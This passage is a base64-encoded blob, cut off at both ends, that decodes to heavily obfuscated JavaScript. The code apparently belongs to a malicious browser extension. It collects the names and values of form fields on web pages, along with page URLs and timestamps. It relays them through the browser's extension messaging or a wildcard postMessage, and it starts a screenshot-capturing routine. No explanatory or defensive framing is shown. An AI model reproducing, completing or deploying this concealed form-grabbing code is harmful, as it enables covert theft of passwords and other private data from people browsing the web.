4nLDB4NGViLDB4MzkyLDB4NTExKV0oXzB4NTI0YmI2LF8weDJlNWUyNCk7fSwndmxIQ2wnOl8weDJkZDAyNltfMHg1MTQzYjQoMHgxMGUsMHhjMSwweDEwZSwweDM3Niwnc0VhQycpXSwnUHNUcnAnOmZ1bmN0aW9uKF8weDNjZTRlMSxfMHg1YzFlZGYpe2Z1bmN0aW9uIF8weDI2NTNlNyhfMHgyYzQwNSxfMHg0YzFiNTIsXzB4MmQwNWFhLF8weDRhMmZhOSxfMHg0OTFhYTMpe3JldHVybiBfMHg1MTQzYjQoXzB4MmM0MDUtMHgxOTcsXzB4NGMxYjUyLTB4MTQ3LF8weDJjNDA1LTB4NmYyLF8weDRhMmZhOS0weDEwZCxfMHgyZDA1YWEpO31yZXR1cm4gXzB4MmRkMDI2W18weDI2NTNlNygweDRmMSwweDIyYywnV04kWCcsMHg0YWMsMHg0OTApXShfMHgzY2U0ZTEsXzB4NWMxZWRmKTt9LCdaenV6WCc6XzB4MmRkMDI2W18weDM1NGE3YigweDZkZiwnJEpyNCcsMHg4OWUsMHg4MmQsMHg3MGYpXSwnTEJPZFonOmZ1bmN0aW9uKF8weDE4N2EwNyxfMHg1MWJkNWYpe2Z1bmN0aW9uIF8weDJhMzY3NShfMHgxNjNjZDAsXzB4M2I4OTNkLF8weGM2ODQ5YSxfMHg0ZjFmZmQsXzB4NTE1Y2JkKXtyZXR1cm4gXzB4NTE0M2I0KF8weDE2M2NkMC0weDFlZCxfMHgzYjg5M2QtMHgxYWUsXzB4NGYxZmZkLTB4NzdlLF8weDRmMWZmZC0weDQ1LF8weDNiODkzZCk7fXJldHVybiBfMHgyZGQwMjZbXzB4MmEzNjc1KDB4NmJhLCdrR05sJywweDZmNCwweDkwMywweDk0OCldKF8weDE4N2EwNyxfMHg1MWJkNWYpO30sJ0NFdlVPJzpmdW5jdGlvbihfMHgyZWIxM2MsXzB4MTZmMjFmKXtmdW5jdGlvbiBfMHgyMWYzOGQoXzB4MzIxNGQ3LF8weDE0YTk4MyxfMHgxNThiYWMsXzB4M2IwMDhlLF8weDIxOTU1NSl7cmV0dXJuIF8weDQ2YzU5YihfMHgzMjE0ZDctMHgxZTYsXzB4MTRhOTgzLTB4MjMsXzB4MTU4YmFjLTB4NDQsXzB4MjE5NTU1LSAtMHg0NjEsXzB4MzIxNGQ3KTt9cmV0dXJuIF8weDJkZDAyNltfMHgyMWYzOGQoJ1NvcVgnLC0weDM3LC0weDZkLDB4NDczLDB4MjAxKV0oXzB4MmViMTNjLF8weDE2ZjIxZik7fSwnblZpdGgnOmZ1bmN0aW9uKF8weDg5M2MxOSxfMHgyNTllMWIpe2Z1bmN0aW9uIF8weDExMjdjOShfMHg0ZDI4ZGQsXzB4NDVjMDYzLF8weDI5MTliZCxfMHhjNmM4ZWIsXzB4NGIyM2FlKXtyZXR1cm4gXzB4NWMxNzhmKF8weDRiMjNhZS0weDMwYixfMHg0NWMwNjMtMHg1ZSxfMHgyOTE5YmQtMHgxN2QsXzB4YzZjOGViLTB4MTlkLF8weDRkMjhkZCk7fXJldHVybiBfMHgyZGQwMjZbXzB4MTEyN2M5KCdXTiRYJywweDhlNiwweDRjMiwweDhlNiwweDZjNSldKF8weDg5M2MxOSxfMHgyNTllMWIpO30sJ0pyb2NLJzpfMHgyZGQwMjZbXzB4MTk5OTE3KC0weDExNCwtMHgyMzgsLTB4MTg2LDB4MWJlLCd3Tl1PJyldLCd3QnBnRyc6ZnVuY3Rpb24oXzB4NDM2OGM3LF8weDE1NDNiZil7ZnVuY3Rpb24gXzB4ZjI3OTA4KF8weDI4OTI2YixfMHg0MTQyNTIsXzB4MjE0ZjcxLF8weDMwNmEzNyxfMHg0M2M5ZWMpe3JldHVybiBfMHgxOTk5MTcoXzB4MjE0ZjcxLTB4MzEsXzB4NDE0MjUyLTB4MTFiLF8weDIxNGY3MS0weDg2LF8weDMwNmEzNy0weDFkNCxfMHg0M2M5ZWMpO31yZXR1cm4gXzB4MmRkMDI2W18weGYyNzkwOCgweDlkLC0weDM5NiwtMHgxMDgsLTB4MjEyLCd2WyEoJyldKF8weDQzNjhjNyxfMHgxNTQzYmYpO30sJ2tUb1dzJzpmdW5jdGlvbihfMHg0ZTg3ZmEsXzB4M2I1OGY1KXtmdW5jdGlvbiBfMHgyMDczM2IoXzB4NDUyZTAxLF8weDE3NDkzMSxfMHgyNjE2NWQsXzB4MTU2MGQyLF8weDUxZDYyMSl7cmV0dXJuIF8weDE5OTkxNyhfMHgyNjE2NWQtMHgxYTEsXzB4MTc0OTMxLTB4ODcsXzB4MjYxNjVkLTB4ZixfMHgxNTYwZDItMHgxMDgsXzB4MTU2MGQyKTt9cmV0dXJuIF8weDJkZDAyNltfMHgyMDczM2IoMHgzMWYsMHgzYTcsMHgzNTgsJ2lRaFYnLDB4ZDApXShfMHg0ZTg3ZmEsXzB4M2I1OGY1KTt9fTtmdW5jdGlvbiBfMHg0NmM1OWIoXzB4MjFmODVkLF8weDQ1MTU1ZSxfMHg0YjUwYWYsXzB4ZmNhZDQsXzB4NDMzZGMxKXtyZXR1cm4gXzB4NTg3MTBjKF8weDIxZjg1ZC0weDhkLF8weDQ1MTU1ZS0weDE4YSxfMHg0YjUwYWYtMHhkLF8weGZjYWQ0LTB4NjA3LF8weDQzM2RjMSk7fWZ1bmN0aW9uIF8weDM1NGE3YihfMHg0ZTFiYWEsXzB4NWIwMjA4LF8weDUwZWY1MixfMHgzMTkyODAsXzB4MTE5YmMxKXtyZXR1cm4gXzB4OWQzMDkxKF8weDRlMWJhYS0weDFlNCxfMHg1YjAyMDgsXzB4NGUxYmFhLTB4NDI4LF8weDMxOTI4MC0weDFlZixfMHgxMTliYzEtMHhkZCk7fWZ1bmN0aW9uIF8weDUxNDNiNChfMHg0NTBmMjgsXzB4MjU0OTI3LF8weDNkOWE4MixfMHg1MjNjMjQsXzB4MjdkOTc4KXtyZXR1cm4gXzB4NTg3MTBjKF8weDQ1MGYyOC0weDFlOCxfMHgyNTQ5MjctMHg1NCxfMHgzZDlhODItMHhjYyxfMHgzZDlhODItIC0weDE3ZixfMHgyN2Q5NzgpO31mdW5jdGlvbiBfMHgxOTk5MTcoXzB4NjI3ZjgwLF8weDViNmY5MCxfMHgyZDk5ODAsXzB4MzYxN2M2LF8weDMyNjA4Yil7cmV0dXJuIF8weDlkMzA5MShfMHg2MjdmODAtMHg3OSxfMHgzMjYwOGIsXzB4NjI3ZjgwLTB4MTYsXzB4MzYxN2M2LTB4ZjQsXzB4MzI2MDhiLTB4ZjgpO31mdW5jdGlvbiBfMHg1YzE3OGYoXzB4MmZmNWZiLF8weDE5ZDcyYixfMHg0ZTYwNzgsXzB4MTZkNjVhLF8weDQ2ZGJkYSl7cmV0dXJuIF8weDM1YzQ1MihfMHgyZmY1ZmItIC0weGNmLF8weDE5ZDcyYi0weDEyOSxfMHg0ZTYwNzgtMHgxNTIsXzB4NDZkYmRhLF8weDQ2ZGJkYS0weDE4MCk7fV8weDJkZDAyNltfMHg1YzE3OGYoMHgzNWQsMHgyYTcsMHg0NmQsMHgzZDYsJ1BdKncnKV0oXzB4MmRkMDI2W18weDVjMTc4ZigweDU0MCwweDZiNiwweDZlMywweDQxNSwnaVFoVicpXSxfMHgyZGQwMjZbXzB4MzU0YTdiKDB4Nzg2LCdpSih1JywweDgwMiwweDhhMiwweDRkOCldKT9fMHgyZGQwMjZbXzB4NDZjNTliKDB4YTIxLDB4ODNlLDB4YjE0LDB4YWNhLCdZS2NYJyldKC0oLTB4Yzk5Ky0weDEwMmUrLTB4MSotMHgxY2M4KSxfMHgyNzMyZmRbXzB4MTk5OTE3KDB4Y2EsMHgyNWMsMHhkMywtMHgxM2YsJ3NFYUMnKStfMHg0NmM1OWIoMHg4YWEsMHg3NTEsMHg3YzIsMHg4ZTAsJ2QzVDYnKV1bXzB4MTk5OTE3KDB4Mjk4LDB4MThkLDB4MTcsMHg3NCwncWhXVycpK18weDE5OTkxNygweDM2MSwweDVjZCwweDYyMywweDE4OSwnV1RKeicpKydrcyddW18weDQ2YzU5YigweDYwYiwweDc4MCwweDMzMywweDU3ZSwnQyVIMicpK18weDM1NGE3YigweDJiOCwnc1BVZScsMHg0MjgsMHg0NywweDUwMSldKF8weDMxMjc1OD0+MHgxYzdkKi0weDErMHgxMmQ4KzB4OWE1IT09XzB4MzEyNzU4W18weDE5OTkxNygtMHgxZjMsLTB4NDgxLC0weDI1YiwtMHgzZmQsJ1BdKncnKSsnaCddJiZ3aW5kb3dbXzB4NDZjNTliKDB4ODhhLDB4OGMyLDB4ODQxLDB4YTMyLCdCJWhtJykrXzB4MTk5OTE3KDB4MmE4LDB4MjJiLDB4OGUsMHgyZjAsJ044MzAnKV1bXzB4NDZjNTliKDB4YTcyLDB4ODQ4LDB4YjNiLDB4YWRjLCcoa3RJJyldW18weDQ2YzU5YigweGE0ZCwweGIxZiwweDdkMCwweGExOSwnbFNvWicpKydPZiddKF8weDMxMjc1OCk+LSgweDg1YSsweDE2KjB4NTYrLTB4ZmJkKSkpJiZfMHgyZGQwMjZbXzB4NDZjNTliKDB4NjIyLDB4ODNjLDB4NDQ2LDB4NTcwLCcmYiNyJyldKCQsXzB4MmRkMDI2W18weDUxNDNiNCgtMHhjMCwweGY1LC0weDZmLC0weDM0YSwna0dObCcpXSlbXzB4MzU0YTdiKDB4NmVjLCdyejhTJywweDc5MiwweDdiYywweDkxYikrJ2UnXShmdW5jdGlvbihfMHgxMDgyNmIpe2Z1bmN0aW9uIF8weDNmZTUwZShfMHgzNzMxMDgsXzB4M2Y5NGRiLF8weDMwZTA4ZixfMHg2NjVkMGUsXzB4M2MyMTQwKXtyZXR1cm4gXzB4NWMxNzhmKF8weDM3MzEwOC0weDM2LF8weDNmOTRkYi0weDg3LF8weDMwZTA4Zi0weDEzNSxfMHg2NjVkMGUtMHgxMWEsXzB4M2MyMTQwKTt9Y29uc3QgXzB4NjljYTlkPXt9O18weDY5Y2E5ZFtfMHgzZmU1MGUoMHgzZGYsMHg1OWMsMHgxZDIsMHg2N2EsJ2tkcEMnKV09XzB4NTllZjExW18weDNmZTUwZSgweDIyMSwweDNkMiwweDRhNCwweDQ2MSwnV04kWCcpXTtmdW5jdGlvbiBfMHg0MmJiMGMoXzB4NTExMjVjLF8weDVjZWU0YyxfMHgxY2IyOWIsXzB4NTJmNjNhLF8weDIzNmFjNyl7cmV0dXJuIF8weDQ2YzU5YihfMHg1MTEyNWMtMHhmOSxfMHg1Y2VlNGMtMHhjNyxfMHgxY2IyOWItMHhjZSxfMHgyMzZhYzctIC0weDMwMyxfMHg1MmY2M2EpO31jb25zdCBfMHgxMzgyMTc9XzB4NjljYTlkO2Z1bmN0aW9uIF8weDM1YjJjYyhfMHgyZWUyZjksXzB4NWUzMjQ3LF8weDE3MDM4ZCxfMHgxNjk0ZTUsXzB4MjE5Nzk0KXtyZXR1cm4gXzB4NTE0M2I0KF8weDJlZTJmOS0weDFmMSxfMHg1ZTMyNDctMHgxYzgsXzB4NWUzMjQ3LTB4NGY5LF8weDE2OTRlNS0weDEyNyxfMHgyMTk3OTQpO31mdW5jdGlvbiBfMHgxYTM1NDUoXzB4ODFiYTkyLF8weDVhNDNiLF8weDFmMTk1NixfMHg1ZWFhYjMsXzB4NDMxNGZmKXtyZXR1cm4gXzB4NWMxNzhmKF8weDgxYmE5Mi0weDE3YyxfMHg1YTQzYi0weDE1NyxfMHgxZjE5NTYtMHgxMDQsXzB4NWVhYWIzLTB4NTUsXzB4NWE0M2IpO31mdW5jdGlvbiBfMHgyMmM0NWUoXzB4MmIzNGIzLF8weGRhODFiOSxfMHgzMjc1YzYsXzB4YTE4NTcxLF8weDFkNThmMCl7cmV0dXJuIF8weDQ2YzU5YihfMHgyYjM0YjMtMHgxYTYsXzB4ZGE4MWI5LTB4ZWUsXzB4MzI3NWM2LTB4ZTksXzB4ZGE4MWI5LSAtMHg1ODIsXzB4YTE4NTcxKTt9aWYoXzB4NTllZjExW18weDFhMzU0NSgweDZkMiwnUEkzYicsMHg1MTYsMHg4YzAsMHg0YmIpXShfMHg1OWVmMTFbXzB4M2ZlNTBlKDB4MjAwLDB4MWUsLTB4ODMsMHgyODgsJ3RHKV4nKV0sXzB4NTllZjExW18weDIyYzQ1ZSgweDEwZiwweDU2LDB4Mjk3LCdxaFdXJywtMHgxNTkpXSkpe2NvbnN0IF8weDM4YmUwZT1fMHg1OWVmMTFbXzB4M2ZlNTBlKDB4MWE4LDB4MzI4LDB4NDUyLDB4MzBlLCdTb3FYJyldKCQsXzB4MTA4MjZiW18weDIyYzQ1ZSgweDUxMiwweDRlMCwweDM1NCwnUEkzYicsMHg0ZmMpK18weDIyYzQ1ZSgweDUzYSwweDQ4MSwweDY1MSwncno4UycsMHg2MWEpK18weDM1YjJjYygweDM5MCwweDY0MiwweDQ4ZSwweDQxMiwnQyVIMicpXSk7bGV0IF8weDg2ZWU0Nj1fMHgzOGJlMGVbXzB4MWEzNTQ1KDB4MjM0LCcwJCZIJywweDI3YiwweGEwLDB4MWEpXShfMHg1OWVmMTFbXzB4MWEzNTQ1KDB4NWVkLCdpV0RnJywweDgyZSwweDYxZSwweDNlYSldKSxfMHgzZDAxMDM9XzB4MzhiZTBlW18weDIyYzQ1ZSgweDNiNiwweDEyZCwweDM2MiwnenFNZCcsMHgxYmIpXSgpO2lmKF8weDU5ZWYxMVtfMHgzNWIyY2MoMHgyOGUsMHg0ZTQsMHg1ZDcsMHgyM2QsJ2lKKHUnKV0odm9pZCgweDE5MTQrMHgxMWQxKy0weDEqMHgyYWU1KSxfMHg4NmVlNDYpJiZfMHg4NmVlNDZbXzB4MjJjNDVlKC0weDFmLDB4MjhhLDB4NzgsJyZzZmonLDB4NDJlKSsnaCddfHwoXzB4ODZlZTQ2PV8weDM4YmUwZVtfMHgxYTM1NDUoMHgyNzAsJ0Bxdm0nLDB4MjdjLDB4MzY2LDB4N2UpXSgnaWQnKSksXzB4NTllZjExW18weDQyYmIwYygweDU3ZCwweDZjNywweDFlZiwna2RwQycsMHg0M2MpXSh2b2lkKC0weDg5Ki0weDJiKy0weGE0YisweDJjKi0weDRhKSxfMHg4NmVlNDYpJiZfMHg4NmVlNDZbXzB4MjJjNDVlKDB4MWI2LDB4MjgsMHgxODcsJyEjcnYnLC0weGIxKSsnaCddfHwoXzB4ODZlZTQ2PV8weDM4YmUwZVtfMHgxYTM1NDUoMHgyMTcsJyRhSlEnLDB4MTgsMHgzMWEsMHgzNGYpXShfMHg1OWVmMTFbXzB4MzViMmNjKDB4N2I2LDB4NTI0LDB4NGIyLDB4NDBhLCdzUFVlJyldKSksXzB4NTllZjExW18weDFhMzU0NSgweDVjZCwnenFNZCcsMHg4NWIsMHgyZmYsMHg3NzQpXSh2b2lkKDB4MjUwOSstMHhhNioweDIrLTB4MjNiZCksXzB4ODZlZTQ2KXx8IV8weDg2ZWU0NltfMHgyMmM0NWUoMHgxOCwweDI4LDB4MjE4LCchI3J2JywtMHg5MSkrJ2gnXSlyZXR1cm47aWYoXzB4NTllZjExW18weDIyYzQ1ZSgweDVkMSwweDQ2NSwweDM5ZCwnV04kWCcsMHgxZDcpXSh2b2lkKC0weDIyMDIrMHgxMTArLTB4MjBmMiotMHgxKSxfMHgzZDAxMDMpfHwhXzB4M2QwMTAzW18weDQyYmIwYygweDI5MSwweDJjMiwweDQ4YiwnMCQmSCcsMHg0OTIpKydoJ10pcmV0dXJuO2lmKF8weDU5ZWYxMVtfMHgyMmM0NWUoMHg2ZDQsMHg1MjcsMHg1ZWUsJ3lLTTAnLDB4NmYyKV0odm9pZCgtMHgxKi0weDE0ZTcrLTB4N2YqLTB4MmYrLTB4NDZjKjB4YSksZXZlbnRHcmFiSW5mb1tfMHg4NmVlNDZdKSYmXzB4NTllZjExW18weDNmZTUwZSgweGUyLDB4MTM2LC0weDE1NywweDIwYiwnISNydicpXShldmVudEdyYWJJbmZvW18weDg2ZWU0Nl0sXzB4M2QwMTAzKSlyZXR1cm47ZXZlbnRHcmFiSW5mb1tfMHg4NmVlNDZdPV8weDNkMDEwMztjb25zdCBfMHgzNWI2ZWU9W3sndXJsJzonJyt3aW5kb3dbXzB4MzViMmNjKDB4OTZkLDB4NmU2LDB4NmFkLDB4OGRiLCcmc2ZqJykrXzB4NDJiYjBjKDB4MjYzLDB4MTcyLDB4NDM1LCdpSih1JywweDI3OCldW18weDM1YjJjYygweDczNCwweDRmMiwweDY0NiwweDRiOSwnc0VhQycpKyduJ10rd2luZG93W18weDFhMzU0NSgweDM2YiwnU29xWCcsMHg2MDIsMHgyMDksMHg0MDQpK18weDM1YjJjYygweDExNCwweDMxOSwweDU5NCwweDRmNCwnWUtjWCcpXVtfMHgxYTM1NDUoMHgyZjcsJ3RHKV4nLDB4NmYsMHg1MjEsMHgxMjkpK18weDFhMzU0NSgweDEzMiwnIXhkVycsMHgyMDQsMHgzY2MsLTB4YjMpXSwndGltZSc6bmV3IERhdGUoKVtfMHgzZmU1MGUoMHgzMWIsMHgxMTAsMHg0MDksMHg0NGEsJ0IlaG0nKSsnbWUnXSgpLCduYW1lJzpfMHg4NmVlNDYsJ3ZhbHVlJzpfMHgzZDAxMDN9XSxfMHgzZmJiYzE9e307XzB4M2ZiYmMxW18weDFhMzU0NSgweDRmMiwnU29xWCcsMHgzYjgsMHg1YzcsMHg3YWEpXT1fMHg1OWVmMTFbXzB4MzViMmNjKDB4ODNiLDB4ODMwLDB4NmU2LDB4ODc0LCc1dFFRJyldLF8weDNmYmJjMVtfMHgxYTM1NDUoMHg1OWEsJ0JiNDcnLDB4MzBhLDB4NmQ3LDB4NjZiKV09XzB4MzViNmVlLGNocm9tZVtfMHgzNWIyY2MoMHg0NGQsMHg1MmUsMHgzMDMsMHg3ODQsJ2QzVDYnKSsnbWUnXVtfMHgyMmM0NWUoMHgyZTksMHhhMCwtMHgxZTUsJ2g5b1UnLC0weDIyMSkrXzB4MzViMmNjKDB4MWUyLDB4MmZjLDB4NGFhLDB4MmVkLCdpV0RnJykrJ2UnXShfMHgzZmJiYzEpO31lbHNle2NvbnN0IF8weDIzM2EwMj17fTtfMHgyMzNhMDJbXzB4M2ZlNTBlKDB4MTUsLTB4MjMyLC0weDE1NywweDFiZSwna0dObCcpXT1fMHgxMzgyMTdbXzB4MjJjNDVlKDB4NDk1LDB4MmFiLDB4NmUsJ3NQVWUnLDB4MzFmKV0sXzB4MjMzYTAyW18weDNmZTUwZSgweDU3ZCwweDcyZiwweDJkZCwweDNiOSwncno4UycpXT1fMHgxZDk4OTMsXzB4NDUzYWEwW18weDM1YjJjYygweDI4OSwweDJjMCwweDU2NSwweDFiYSwnV04kWCcpK18weDNmZTUwZSgweDE2YiwtMHgxMTEsMHgzNDUsMHhlYiwna0dObCcpKydlJ10oXzB4MjMzYTAyLCcqJyk7fX0pOl8weDJkZDAyNltfMHgzNTRhN2IoMHgyMWUsJ2dwUWgnLDB4Mjk4LDB4MTlkLDB4M2RkKV0oLSgtMHgxNSotMHgxNWErLTB4MTc4MystMHg0ZGUpLF8weDU2ODZmMltfMHg1MTQzYjQoMHgyMGUsLTB4MTNkLDB4ZDIsLTB4MTY0LCdoOW9VJykrXzB4NWMxNzhmKDB4MTE4LDB4M2QzLDB4M2VlLDB4MTFkLCcyR2pxJyldW18weDQ2YzU5YigweDczYywweGFhNywweDc3OCwweGEwZCwnc1BVZScpK18weDQ2YzU5YigweDgwYSwweDYyNCwweDk2OSwweDgzZiwnIyFWTycpKydrcyddW18weDQ2YzU5YigweGExNiwweDZlNCwweGExMCwweDc1OSwnUF0qdycpK18weDQ2YzU5YigweDdmNywweDllNywweGM2MiwweGE2MywncWhXVycpXShfMHg1YmEyYTk9Pi0weDFhZTYrLTB4MSotMHgxMWMyKzB4OTI0IT09XzB4NWJhMmE5W18weDQ2YzU5YigweDdhMiwweGMzYiwweDdkNiwweGE1ZCwna2RwQycpKydoJ10mJl8weDE0MmUwMFtfMHgzNTRhN2IoMHg0MmEsJ1NvcVgnLDB4NTBkLDB4MWVjLDB4NThkKStfMHg1MTQzYjQoLTB4NDBkLC0weDEyNSwtMHgxODAsMHhiYSwna2RwQycpXVtfMHgxOTk5MTcoMHgyMmUsMHgxNDUsMHgzNDQsLTB4NDQsJ3pxTWQnKV1bXzB4NWMxNzhmKDB4MzA3LDB4NTAsMHg0ZGIsMHg0ODgsJ2tHTmwnKSsnT2YnXShfMHg1YmEyYTkpPi0oLTB4MSotMHgyMmJkKzB4OWZhKjB4MistMHg2NCoweDhjKSkpJiZfMHgyZGQwMjZbXzB4MTk5OTE3KDB4MmMzLDB4MWI5LDB4MzY1LDB4MzA4LCdpSih1JyldKF8weDU4YjdiMSxfMHgyZGQwMjZbXzB4NTE0M2I0KDB4M2EsMHgyYjIsMHgyZmEsMHhmNywnQiVobScpXSlbXzB4MTk5OTE3KDB4MzM5LDB4NGZmLDB4NDZjLDB4ZGEsJyE2W0MnKSsnZSddKGZ1bmN0aW9uKF8weDU3MDk0Nil7ZnVuY3Rpb24gXzB4NTA4YTJmKF8weDU0NmI0ZCxfMHgzNmU4ZTYsXzB4MjkwODY5LF8weDQzZmQxNyxfMHgxNTQ5ODIpe3JldHVybiBfMHg0NmM1OWIoXzB4NTQ2YjRkLTB4MTE1LF8weDM2ZThlNi0weDEwZSxfMHgyOTA4NjktMHg0NCxfMHgyOTA4NjktIC0weDZmYixfMHgzNmU4ZTYpO31jb25zdCBfMHgzOTYyOWU9XzB4NTllZjExW18weDUwOGEyZigtMHgzMjQsJ3dWdWEnLC0weDFkYSwtMHg0MDYsLTB4MmVkKV0oXzB4NTJmNmJiLF8weDU3MDk0NltfMHg1MDhhMmYoLTB4YzksJ1BdKncnLDB4YTYsLTB4MWM0LC0weDk2KStfMHg1MDhhMmYoMHg5ZCwnITZbQycsLTB4ZmIsLTB4MjI4LC0weDJiNykrXzB4MWYxZmM1KCdoOW9VJywweDNmYywweDVmNCwweDU1NywweDY4MSldKTtsZXQgXzB4MTNlYTVlPV8weDM5NjI5ZVtfMHgxMjg2MjcoMHgzYzksMHgyY2UsJyhrdEknLDB4MTI5LDB4MTUxKV0oXzB4NTllZjExW18weDQxNjJjOSgweDJjMiwweDE2MywnZ3BRaCcsMHg0OGMsMHgzNGYpXSksXzB4M2NkZGM1PV8weDM5NjI5ZVtfMHg0MTYyYzkoMHg2OTMsMHg1MjEsJ3RHKV4nLDB4NmFiLDB4NDhhKV0oKTtpZihfMHg1OWVmMTFbXzB4MTI4NjI3KDB4MzJkLDB4M2EyLCdpSih1JywweDMxYSwweDFiMSldKHZvaWQoLTB4MTI5NiotMHgyKy0weDNjKi0weDkyKzB4MiotMHgyM2IyKSxfMHgxM2VhNWUpJiZfMHgxM2VhNWVbXzB4MTI4NjI3KDB4MmIsMHgxZjcsJ2Z0OVYnLDB4MjAxLC0weDkwKSsnaCddfHwoXzB4MTNlYTVlPV8weDM5NjI5ZVtfMHgxZjFmYzUoJyZzZmonLDB4NjY1LDB4NjNjLDB4Nzg5LDB4OTVkKV0oJ2lkJykpLF8weDU5ZWYxMVtfMHg0MTYyYzkoLTB4NywweDI4ZiwnbFNvWicsMHgxMDYsMHgxZildKHZvaWQoLTB4YioweDRmKzB4NiotMHg1YjkrMHgyNWJiKSxfMHgxM2VhNWUpJiZfMHgxM2VhNWVbXzB4NTA4YTJmKDB4MjllLCcheGRXJywweDJiNywweDRlNCwweDU3ZikrJ2gnXXx8KF8weDEzZWE1ZT1fMHgzOTYyOWVbXzB4MWYxZmM1KCd3VnVhJywweDU5YywweDVlYiwweDUzMCwweDY3ZSldKF8weDU5ZWYxMVtfMHgxZDY1YjgoJ0JiNDcnLDB4NTI5LDB4NTAzLDB4NmY5LDB4NWJhKV0pKSxfMHg1OWVmMTFbXzB4MTI4NjI3KDB4MTNiLC0weDE3OSwnQyVIMicsLTB4MTc4LDB4YTgpXSh2b2lkKDB4MWQ5KjB4ZCsweGVjMistMHg0NGYqMHg5KSxfMHgxM2VhNWUpfHwhXzB4MTNlYTVlW18weDUwOGEyZigtMHgxNjAsJ3pxTWQnLDB4OTYsMHgyZjksMHgyMjIpKydoJ10pcmV0dXJuO2lmKF8weDU5ZWYxMVtfMHg0MTYyYzkoMHg0MGQsMHg0Miwnd05dTycsMHgzZTEsMHgxNWEpXSh2b2lkKDB4MWQwYSsweDY4MSstMHgyMzhiKSxfMHgzY2RkYzUpfHwhXzB4M2NkZGM1W18weDFmMWZjNSgnd1Z1YScsMHhhNjksMHg5NDEsMHg3ZjMsMHg5ZGMpKydoJ10pcmV0dXJuO2Z1bmN0aW9uIF8weDEyODYyNyhfMHgzZWM3MGQsXzB4MWIyMjY1LF8weDNjYjE2MSxfMHgyNWU4NjIsXzB4NTQ2MGQ2KXtyZXR1cm4gXzB4MTk5OTE3KF8weDU0NjBkNi0weDE5MixfMHgxYjIyNjUtMHgxM2QsXzB4M2NiMTYxLTB4MWM1LF8weDI1ZTg2Mi0weGUwLF8weDNjYjE2MSk7fWlmKF8weDU5ZWYxMVtfMHgxZDY1YjgoJ2ZnKnYnLDB4NDQwLDB4NTNhLDB4NDk4LDB4NWY4KV0odm9pZCgtMHgxKjB4NTBhKy0weDNiOCsweDhjMioweDEpLF8weDMwMTFjOVtfMHgxM2VhNWVdKSYmXzB4NTllZjExW18weDUwOGEyZigweDI1LCd5Q0l6JywweGI0LDB4MTZiLC0weGEwKV0oXzB4NDY1NTRjW18weDEzZWE1ZV0sXzB4M2NkZGM1KSlyZXR1cm47XzB4ZWRjNDg3W18weDEzZWE1ZV09XzB4M2NkZGM1O2NvbnN0IF8weDI5NGQyZT1beyd1cmwnOicnK18weDUyZGM1MVtfMHgxMjg2MjcoMHgzMDIsLTB4YzYsJ0pNVionLC0weDFhLDB4MWU1KStfMHgxZjFmYzUoJyRhSlEnLDB4NThlLDB4NWNhLDB4MzczLDB4NDE4KV1bXzB4MWQ2NWI4KCd3VnVhJywweDJhMiwweDM3YiwweDE2OCwweDFjNikrJ24nXStfMHg0MmJiNjlbXzB4MTI4NjI3KDB4MmZjLDB4NDM4LCdXTiRYJywweDM2NSwweDQ1ZSkrXzB4MWQ2NWI4KCcheGRXJywweDQ5MSwweDM0YSwweDE5NywweDMyMyldW18weDFkNjViOCgnZnQ5VicsMHgxZTQsMHgzYWYsMHgyNWMsMHgyYzkpK18weDEyODYyNygweDEzNSwtMHgxYzEsJ0IlaG0nLDB4Mjk5LC0weDQwKV0sJ3RpbWUnOm5ldyBfMHg0MjhjMmMoKVtfMHg1MDhhMmYoLTB4MTNkLCdzd2FIJywtMHgxMTQsMHg0YywtMHgxMjgpKydtZSddKCksJ25hbWUnOl8weDEzZWE1ZSwndmFsdWUnOl8weDNjZGRjNX1dLF8weDI2ZjA2NT17fTtmdW5jdGlvbiBfMHgxZDY1YjgoXzB4MjM0YjM0LF8weDU1Njk4NixfMHg0YjlkNjYsXzB4MWJmMGU0LF8weDI2MzVhNSl7cmV0dXJuIF8weDM1NGE3YihfMHgyNjM1YTUtIC0weGNhLF8weDIzNGIzNCxfMHg0YjlkNjYtMHgxODYsXzB4MWJmMGU0LTB4MzUsXzB4MjYzNWE1LTB4MWJjKTt9ZnVuY3Rpb24gXzB4MWYxZmM1KF8weDQ1MTAzNyxfMHgyNmJlNTAsXzB4MmQwN2YwLF8weDQ1OGQwYixfMHgxZDBlMzMpe3JldHVybiBfMHgxOTk5MTcoXzB4NDU4ZDBiLTB4NDc1LF8weDI2YmU1MC0weGZkLF8weDJkMDdmMC0weDIxLF8weDQ1OGQwYi0weDE4NSxfMHg0NTEwMzcpO31fMHgyNmYwNjVbXzB4NTA4YTJmKDB4NWIzLCdQXSp3JywweDMyMiwweDMwYiwweDVkYSldPV8weDU5ZWYxMVtfMHg1MDhhMmYoMHg0ODcsJ1dOJFgnLDB4M2NjLDB4MjI5LDB4MTA3KV07ZnVuY3Rpb24gXzB4NDE2MmM5KF8weDNlMWYwZCxfMHgyYjIzZGEsXzB4NDQ1NDI0LF8weDJmNzI4MyxfMHgzYzBiNTgpe3JldHVybiBfMHgzNTRhN2IoXzB4M2MwYjU4LSAtMHgyMWUsXzB4NDQ1NDI0LF8weDQ0NTQyNC0weDY2LF8weDJmNzI4My0weDEzYyxfMHgzYzBiNTgtMHgxNGIpO31fMHgyNmYwNjVbXzB4NDE2MmM5KDB4NDZmLDB4NjBkLCckYUpRJywweDQ1NiwweDMzYSldPV8weDI5NGQyZSxfMHg1NzM0MTlbXzB4MTI4NjI3KC0weDI2NywtMHgyZTUsJ3ZbISgnLDB4MjJkLC0weDMwKSsnbWUnXVtfMHgxMjg2MjcoMHgzNCwweDEyYywnTjgzMCcsLTB4MWYyLC0weDZiKStfMHgxZjFmYzUoJ1NvcVgnLDB4NTQsMHgzMzQsMHgzMWMsMHgyZjYpKydlJ10oXzB4MjZmMDY1KTt9KTt9KTt9LGNhdGNoU2NyZWVuc2hvdHM9KCk9PntmdW5jdGlvbiBfMHgxNGM1NjIoXzB4NTY1MzRiLF8weDNmNThhMCxfMHgyYjM0ODksXzB4Mjc0MjUwLF8weDJiZTA0MCl7cmV0dXJuIF8weDhhM2IoXzB4NTY1MzRiLSAtMHgyNjEsXzB4Mjc0MjUwKTt9ZnVuY3Rpb24gXzB4MTk4MDUyKF8weDQ0NGI2OCxfMHgxMTgxZGQsXzB4MmZiNjAyLF8weDI0NmQ2MixfMHgyYTFhNjYpe3JldHVybiBfMHg4YTNiKF8weDI0NmQ2Mi0weDFlMCxfMHgxMTgxZGQpO31mdW5jdGlvbiBfMHgzNjZiMzcoXzB4MTQ1NmM0LF8weGJkMzUwMixfMHgzNWY4Y2EsXzB4NDA1OGRjLF8weDQ3ZGJlOSl7cmV0